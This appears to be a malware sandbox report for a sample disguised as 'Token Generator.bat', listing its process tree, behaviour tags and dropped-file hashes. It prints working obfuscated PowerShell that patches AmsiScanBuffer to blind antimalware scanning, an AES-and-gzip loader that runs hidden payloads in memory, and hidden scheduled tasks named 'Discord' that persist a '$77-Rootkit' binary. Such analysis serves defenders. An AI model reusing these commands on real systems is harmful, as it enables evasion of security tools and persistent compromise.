+''+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $UJPHJEFFyAW.CreateType();}$MjTfPhOQJHEPB=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+'s'+'t'+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+[Char](77)+'ic'+[Char](114)+'o'+[Char](115)+''+'o'+''+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+'i'+'n'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+'s'+''+'a'+''+'f'+''+[Char](101)+''+'N'+''+'a'+'t'+[Char](105)+''+[Char](118)+''+'e'+'M'+[Char](101)+''+[Char](116)+'h'+[Char](111)+''+[Char](100)+''+'s'+'');$MnNHaDHPuqNsSw=$MjTfPhOQJHEPB.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+'A'+[Char](100)+''+[Char](100)+''+'r'+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+'t'+[Char](97)+'t'+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$wnWIVeYsFXliZFNMGsr=cwafgNtDMDbo @([String])([IntPtr]);$fXizAlZMdhppkkHLBhoAjk=cwafgNtDMDbo @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$PpOWgLfWJFi=$MjTfPhOQJHEPB.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+[Char](77)+'odu'+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+'n'+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+'r'+'n'+''+'e'+''+[Char](108)+'3'+'2'+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$ufGfYVmtFpGPRp=$MnNHaDHPuqNsSw.Invoke($Null,@([Object]$PpOWgLfWJFi,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+[Char](100)+'L'+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$gbcOsfwDyvFFYmeaw=$MnNHaDHPuqNsSw.Invoke($Null,@([Object]$PpOWgLfWJFi,[Object]('V'+'i'+''+[Char](114)+''+'t'+''+[Char](117)+''+'a'+''+[Char](108)+'P'+[Char](114)+''+[Char](111)+'t'+'e'+'c'+[Char](116)+'')));$wNeMKmF=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ufGfYVmtFpGPRp,$wnWIVeYsFXliZFNMGsr).Invoke('a'+[Char](109)+''+[Char](115)+''+'i'+'.'+[Char](100)+''+'l'+''+'l'+'');$ZcaNUwKNEckTaWDDV=$MnNHaDHPuqNsSw.Invoke($Null,@([Object]$wNeMKmF,[Object](''+[Char](65)+''+'m'+''+[Char](115)+'i'+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+''+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+''+'e'+''+'r'+'')));$tfWAkXXBtE=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gbcOsfwDyvFFYmeaw,$fXizAlZMdhppkkHLBhoAjk).Invoke($ZcaNUwKNEckTaWDDV,[uint32]8,4,[ref]$tfWAkXXBtE);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ZcaNUwKNEckTaWDDV,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gbcOsfwDyvFFYmeaw,$fXizAlZMdhppkkHLBhoAjk).Invoke($ZcaNUwKNEckTaWDDV,[uint32]8,0x20,[ref]$tfWAkXXBtE);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+'F'+''+'T'+'W'+[Char](65)+'RE').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+'s'+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5124
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1184
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
PID:1228
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1256
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1352
-
C:\Windows\system32\sihost.exesihost.exe2⤵PID:2516
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1408
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1420
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1432
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1536
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1588
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1652
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1668
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1760
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1768
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1912
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1996
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2040
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1388
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1924
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2192
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2208
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2360
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2448
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2456
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2600
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2652
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2668
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2780
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2792
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2840
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2868
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3156
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of UnmapMainImage
PID:3420 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Token Generator.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:4228 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l7xIjD7w3X9IZsoce95u+FWxpwh41oGtZjuJWP8Q3+U='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7Ji4GPB6lVnv6Xlch9sujw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aXkIe=New-Object System.IO.MemoryStream(,$param_var); $bzUdJ=New-Object System.IO.MemoryStream; $mnRoM=New-Object System.IO.Compression.GZipStream($aXkIe, [IO.Compression.CompressionMode]::Decompress); $mnRoM.CopyTo($bzUdJ); $mnRoM.Dispose(); $aXkIe.Dispose(); $bzUdJ.Dispose(); $bzUdJ.ToArray();}function execute_function($param_var,$param2_var){ $ncCdx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $NjXjX=$ncCdx.EntryPoint; $NjXjX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Token Generator.bat';$jtmXF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Token Generator.bat').Split([Environment]::NewLine);foreach ($yxuaZ in $jtmXF) { if ($yxuaZ.StartsWith(':: ')) { $FJFrF=$yxuaZ.Substring(3); break; }}$payloads_var=[string[]]$FJFrF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:6120 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_999_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_999.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3656 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_999.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5640 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_999.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:5288 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:1840
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l7xIjD7w3X9IZsoce95u+FWxpwh41oGtZjuJWP8Q3+U='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7Ji4GPB6lVnv6Xlch9sujw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aXkIe=New-Object System.IO.MemoryStream(,$param_var); $bzUdJ=New-Object System.IO.MemoryStream; $mnRoM=New-Object System.IO.Compression.GZipStream($aXkIe, [IO.Compression.CompressionMode]::Decompress); $mnRoM.CopyTo($bzUdJ); $mnRoM.Dispose(); $aXkIe.Dispose(); $bzUdJ.Dispose(); $bzUdJ.ToArray();}function execute_function($param_var,$param2_var){ $ncCdx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $NjXjX=$ncCdx.EntryPoint; $NjXjX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_999.bat';$jtmXF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_999.bat').Split([Environment]::NewLine);foreach ($yxuaZ in $jtmXF) { if ($yxuaZ.StartsWith(':: ')) { $FJFrF=$yxuaZ.Substring(3); break; }}$payloads_var=[string[]]$FJFrF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:6068 -
C:\Users\Admin\AppData\Local\Temp\Token Generator.exe"C:\Users\Admin\AppData\Local\Temp\Token Generator.exe"7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3200 -
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Discord" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe" /rl HIGHEST /f8⤵
- Creates scheduled task(s)
PID:1752 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵PID:5496
-
C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe"C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe"8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1860 -
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Discord" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe" /rl HIGHEST /f9⤵
- Creates scheduled task(s)
PID:1604 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV110⤵PID:2140
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"7⤵
- Executes dropped EXE
PID:4744 -
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Discord" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe" /rl HIGHEST /f7⤵
- Creates scheduled task(s)
PID:4144 -
C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe"C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe"7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3660
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3428
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3608
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3816
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3984
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of UnmapMainImage
PID:4124
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4504
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4612
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:3696
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:5812
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:5988
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:820
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Modifies data under HKEY_USERS
PID:3704
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:4408
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:1240
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1992
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3404
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 3de9145dc0a2cc371aed49fb12f619de DHBwvi1umEOD0F5N4kSMWQ.0.1.0.0.01⤵PID:5712
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:5748
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:3392
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks processor information in registry
- Enumerates system info in registry
PID:4540
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:4372
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:5772
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:372
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:4756
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
Filesize330B
MD50167153ce84597cea78b3c93e33b7493
SHA1419fb4d76cf034bab28050bd09997a4fee3f215e
SHA256962eac195dc838fc574aba190979e878007ccc5cceb4f20f4568483d4ea4bc51
SHA512beb32fd1dceb863a555a28197df88e9327f07cd41fe61890dce3a933d6a215fc6920f8a208fb6548563c40d0d015f835f491dd988eea232539913b873102d260
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Filesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
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Filesize
1KB
MD5f8d49a4af7a844bfc7247d5670def557
SHA126ae0ce194a77a7a1887cf93741293fdfa6c94c4
SHA25661c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b
SHA5129e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c
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Filesize
163KB
MD5b51552b77057c2405f73bbbf9c89234a
SHA14793adbba023f90d2d2ad0ec55199c56de815224
SHA256720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0
SHA512564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66
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Filesize
3.1MB
MD56d2ad4ada4961027832e557db06fc08d
SHA1816018499f5e291850d7dd2a0d15c914e5607630
SHA256139ce0f6ed1d745a6776f831c641b2b30bb8d48ecd9c198a0b4bd8489899f60e
SHA5121d99985c99fa16f712eee5604279463e18e77532e7a1586651178685ef38ba25b099c393edc44f2703d7e9f4ce7596b86ba3d9f0e00119e13474816a2186f241
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
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Filesize
3.5MB
MD5e984ebea899379a8c0a47f9308c7370b
SHA1863330006bef4c55a1bc79771ae989dc0412f717
SHA2569f413ae8218ec74eb61a052e1c2b8b27f8ee7038902db5aaea9c93e0752fa48b
SHA51270934def86e93b350e72711e757cbe0a97a9a58259f184e2c97aeea3a2b9f016bb03e4fb499f3876248bfb43edec5e3949599448d95235afcb1b46d71362b975
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Filesize
115B
MD55745f49c5fa21aa9ff7e4fbb666f0d98
SHA11565875fddf99907f6a41e7b1ee041f343d2cd4d
SHA256008007db1ee4e7dedd28233ca1fcd0f1a833cc8595c9c662fe949b70fba34a87
SHA51257e6b6761021b7930c311b5e60c2bd1d2c97de54bc2c11f26855ef0c3f39cd9c4909ea9a861dd8c5857ac16de1c3a7fdbe6c69cb5bdf994e94bccfd33b910757
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Filesize
2KB
MD5f313c5b4f95605026428425586317353
SHA106be66fa06e1cffc54459c38d3d258f46669d01a
SHA256129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
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Filesize
2KB
MD57d612892b20e70250dbd00d0cdd4f09b
SHA163251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
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Filesize
2KB
MD50b990e24f1e839462c0ac35fef1d119e
SHA19e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4